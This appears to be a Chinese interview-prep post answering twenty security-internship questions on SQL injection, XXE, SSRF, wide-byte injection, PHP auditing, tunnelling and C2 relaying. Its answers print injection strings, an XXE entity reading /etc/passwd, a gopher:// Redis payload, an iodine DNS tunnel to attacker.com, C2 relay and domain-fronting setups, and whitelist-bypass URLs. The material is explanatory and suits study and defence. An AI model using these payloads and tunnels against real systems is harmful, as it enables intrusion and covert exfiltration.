安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[十六、PHP SSRF深度利用](#十六、PHP SSRF深度利用)
[十九、PHP三等号 vs 两等号](#十九、PHP三等号 vs 两等号)
1001 SQL查询异常流量分析的思路? 1002 你使用什么工具来判断系统是否存在后门? 1003 有没有了解或者使用过厂商的安全设备?(有的话请举例说明) 1004 你投的岗位是安全研究实习生,你了解我们这边主要是做什么的吗 1005 有没有审过开源框架、cms、中间件之类的 1006 xxe是怎么造成的,从代码层面来看 1007 有哪些SQL语句无法使用预编译的方式? 1008 已知example.com/?id = 1,是mysql,如何获得mysql版本? 1009 宽字节注入原理,是只有 gbk 编码的才存在宽字节注入吗? 1010 一台机器不能出网,如何把一个 exe 文件放到对应的目标机器上去(dmz 区) 1011 拿到一份php代码做审计,审计的流程大概是怎样的 1012 对php开发框架熟吗?比如ThinkPHP这些 1013 给的源码是ThinkPHP框架的话,审计起来和没有使用框架的有什么不同,从流程上或者从关注的点上有什么不同 1014 如果 tcp 和 udp 不出网 用什么策略来进行代理的搭建 1015 多级代理如何做一个 cdn 进行中转 具体怎么实现 1016 内网有 acl 策略 如果是白名单 如何绕过这个白名单进行出网上线 ip 和域名的都有可能 1017 在php环境下,怎么最大程度的利用ssrf,拿到shell或者进内网 1018 怎么利用内网的机器请求内网中的服务 1019 如果用白名单策略修复ssrf,从用户输入的变量里拿出要访问的目标,这个要注意哪些,因为一些url会通过特殊的字符做白名单绕过,对取变量这个操作有哪些要注意的细节? 1020 php中三个等号和两个等号有什么区别一、SQL查询异常流量分析思路
mermaid`graph TD A[协议特征] --> A1(异常Content-Type:如application/sql) A --> A2(超长SQL语句 >10KB) B[行为模式] --> B1(高频相似语句:如连续50+SELECT) B --> B2(非常规时间访问:凌晨执行DROP) C[语法特征] --> C1(敏感关键词:xp_cmdshell/LOAD_FILE) C --> C2(异常注释符:/*!50000SELECT*/) D[关联分析] --> D1(同源IP历史行为基线对比) D --> D2(失败率突增:SQL语法错误激增)`关键点:需结合WAF日志与数据库审计日志交叉验证,重点识别时间盲注(固定延时)与布尔注入(规律性状态码切换)
二、系统后门检测工具
类型 工具 检测能力 内存扫描 Volatility 检测隐藏进程/恶意DLL注入 Rootkit检测 chkrootkit + rkhunter 内核钩子/LKM模块比对 文件监控 Tripwire + AIDE 关键目录哈希变更告警 行为沙箱 Cuckoo Sandbox API调用链分析(如远程线程创建) 进阶方案:EDR工具(如CrowdStrike Falcon)的IOA(攻击指标)检测引擎
三、安全设备实战经验
markdown
1. **防火墙** - Palo Alto:应用层策略阻断(如精准识别SQLi via APP-ID) 2. **IDS/IPS** - Suricata:自定义规则拦截C2心跳(`alert http any any -> any any (content:"|0d 0a|cmd="; sid:10001;)`) 3. **WAF** - ModSecurity:CRS规则集防御OWASP Top 10漏洞 4. **蜜罐** - HFish:伪造MySQL服务捕获扫描器行为
四、安全研究实习生岗位认知
核心方向推测(需根据实际公司调整):
mermaid
pie title 安全研究实习岗位职责分布 "漏洞挖掘" : 45 "PoC开发" : 30 "威胁建模" : 15 "工具链优化" : 10预期能力:
- 开源组件漏洞挖掘(如Log4j2 RCE研究)
- 红队工具链开发(如定制化C2框架)
- ATT&CK技战术映射分析
五、开源框架审计经验
审计流程:
- 入口点定位
- 危险函数扫描:
grep -rn "system(\|exec(" src/- 数据流追踪
- 用户输入 → 过滤函数 → 执行点(如TP框架的
I('get.id'))- 历史漏洞比对
- 检查未修复漏洞分支(如ThinkPHP 5.0.23的RCE)
案例:
- Discuz! X3.4的
php://input未过滤导致代码执行- Apache Shiro反序列化密钥硬编码问题
六、XXE漏洞代码层面成因
漏洞代码示例:
php$xml = <<<XML <?xml version="1.0"?> <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root>&xxe;</root> XML; $data = simplexml_load_string($xml); // 未禁用外部实体根本原因:
- 未配置
libxml_disable_entity_loader(true)- 解析器允许DTD外部引用(如PHP的LIBXML_NOENT)
七、无法预编译的SQL语句
场景 示例 解决方案 动态表名/列名 SELECT * FROM $table白名单校验 复杂排序 ORDER BY $column $sort参数化字段名映射 IN子句 WHERE id IN (?,?,?)预编译后动态绑定参数数量
八、MySQL版本获取方式
sql1. 报错泄露:id=1' and updatexml(1,concat(0x7e,version()),1)--+ 2. 联合查询:id=-1 union select 1,@@version,3 3. 时间盲注:id=1' and if(version() like '8%',sleep(3),1)--+ 4. 直接读取:SHOW VARIABLES LIKE "%version%"
九、宽字节注入原理
成因:
- GBK编码中
%df'组合被解析为運'(%df%5c=運)- 导致单引号逃逸:
id=1%df'→ 后端拼接为'1運''非GBK场景:
- BIG5的
%A5%60绕过- Shift_JIS的
%81%27转换
十、不出网机器文件传输方案
层级跃迁技术:
mermaid
graph LR A[攻击机] --> B{中间跳板} B -->|协议隧道| C[目标DMZ]
- 物理层:USB恶意充电设备(需物理接触)
- 网络层 :
- ICMP隧道:
icmpsh -t 目标IP -d 1- DNS隐蔽信道:
dnscat2- 应用层 :
- SMB中继:
impacket-smbserver共享文件- 恶意文档:诱使目标点击下载
十一、PHP代码审计流程
markdown1. **入口定位** - 路由解析:`index.php?m=Home&c=Index&a=index` 2. **危险函数追踪** - 执行类:`eval()/system()` - 文件类:`file_get_contents()` - 反序列化:`unserialize()` 3. **过滤链分析** - 全局过滤 vs 局部过滤 - 二次注入检测 4. **框架机制利用** - TP的`__destruct`魔术方法触发链
十二、ThinkPHP框架审计重点
方向 无框架项目 ThinkPHP项目 入口文件 分散入口 统一入口(单一index.php ) 安全过滤 手动过滤参差不齐 全局Input过滤函数 风险点 直接文件包含 路由解析漏洞(5.0.23 RCE) 审计工具 传统文本搜索 利用 phpan分析调用链
十三、TCP/UDP不出网代理方案
协议转换隧道:
- ICMP隧道 :
- 工具:
ptunnel -p jump_server -lp 1080 -da target_ip- DNS隧道 :
- 工具:
iodine -f -P password attacker.com- HTTP伪装 :
- Websocket over HTTP:
reGeorg
十四、多级代理CDN中转实现
架构示例:
攻击机 → CDN节点(Cloudflare) → 反向代理(Nginx) → C2服务器配置要点:
CDN开启WebSocket支持
Nginx配置:
nginxlocation /ws { proxy_pass http://c2_server:8080; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; }C2使用域前置技术(Domain Fronting)
十五、ACL白名单绕过技术
域名绕过:
- 子域名接管:
c2.trusted-domain.com- DNS泛解析:
*.attacker.com指向C2
IP绕过:- 云函数转发:阿里云函数计算绑定白名单IP
- 合法服务滥用:GitHub Gist作为C2信道
十六、PHP SSRF深度利用
攻击链扩展:
mermaidgraph TB A[SSRF] --> B{内网服务} B --> C[Redis未授权] --> C1(写Webshell) B --> D[Jenkins脚本控制台] --> D1(命令执行) B --> E[云元数据] --> E1(AccessKey劫持)关键技巧:
gopher://协议攻击Redis:gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a
十七、内网服务请求方法
- 反向代理 :
reGeorg + Proxifier打通Socks隧道- 端口转发 :
frp -t 内网服务IP:Port- DNS重绑定 :
- 利用TTL=0绕过IP限制
十八、SSRF白名单绕过细节
解析陷阱:
攻击手法 示例 防御方案 URL编码绕过 http://x.y@evil.com解析后提取host IPv6混淆 http://[::127.0.0.1]标准化所有IP格式 重定向利用 短域名→内网IP 禁用CURLOPT_FOLLOWLOCATION 畸形协议 0://127.0.0.1:80协议白名单校验
十九、PHP三等号 vs 两等号
核心区别:
php$a = "0"; $b = 0; // 双等号(类型转换) var_dump($a == $b); // true(字符串"0"转数字为0) // 三等号(严格校验) var_dump($a === $b); // false(类型不同)安全影响:
- 认证绕过:
if ($_GET['code'] == 123456)可通过?code=123456abc绕过- 哈希比较:
"0e123" == "0e456"因科学计数法匹配导致漏洞